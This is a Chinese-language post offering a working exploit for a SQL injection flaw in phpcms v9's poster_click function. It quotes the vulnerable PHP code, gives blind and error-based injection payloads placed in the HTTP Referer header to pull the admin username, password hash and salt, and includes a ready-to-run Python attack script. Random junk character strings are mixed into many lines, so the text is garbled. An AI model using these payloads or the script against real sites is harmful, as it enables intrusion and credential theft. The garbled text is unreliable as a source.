phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
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) e- c8 d  g, A' V1 _: ?$ T问题函数\phpcms\modules\poster\index.php
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public function poster_click() {
* V" T4 _6 L. m. l+ Q0 F' `! b$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
2 }8 ^8 Y0 c4 x: A$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$ |& Q7 `4 @3 n$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
" E6 n- _4 z# x0 \/ Gif($id) {
8 a1 u- W& T  k( R+ v1 k$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
! i& i9 D  B% r" }8 Eif (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
, ^8 }* p. C9 B  b6 C% o* Q}
header('Location: '.$url);
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利用方式：

1、可以采用盲注入的手法：

; |! n& q. i; F, M# Lreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
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通过返回页面，正常与否一个个猜解密码字段。
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2、代码是花开写的，随手附上了：

+ v( w. e/ a: d# d/ h( {1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

" \4 e# d$ T( B& m/ U' q此方法是爆错注入手法，原理自查。
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! b4 {9 n8 |8 ]1 P利用程序:

* c1 X2 Q. S/ E; ]4 D#!/usr/bin/env python
import httplib,sys,re

. c! ?4 {8 d" N6 \, C, |% u8 Jdef attack():
print “Code by Pax.Mac Team conqu3r!”
( }+ W" U2 l' k. s$ xprint “Welcome to our zone!!!”
! ^( u, |8 \. x( e1 {4 \url=sys.argv[1]
) X1 K7 w: Q4 M! ^! q4 g# L; `( R3 }paths=sys.argv[2]
conn = httplib.HTTPConnection(url)
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
“Accept”: “text/plain”,
2 Y6 q: B4 g% h" k“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
0 p1 M" f% }, j6 h- bconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
r1 = conn.getresponse()
3 A0 ]% ~! |8 ^, Y  c) jdatas=r1.read()
, ~8 h% x9 q! `) c0 h' Qdatas=re.findall(r”Duplicate entry \’\w+’”, datas)
5 P$ @! E5 c2 ?; G  o. n+ nprint datas[0]
conn.close()
  \2 T: |, [& A' Vif __name__==”__main__”:
; n' y0 L  u) n3 Q! Mif len(sys.argv)<3:
print “Code by Pax.Mac Team conqu3r”
print “Usgae:”
print “    phpcmsattack.py   www.paxmac.org /”
, H+ @. Y3 v' x, f. e& k- tprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
sys.exit(1)
2 K# ~/ c. H' jattack()
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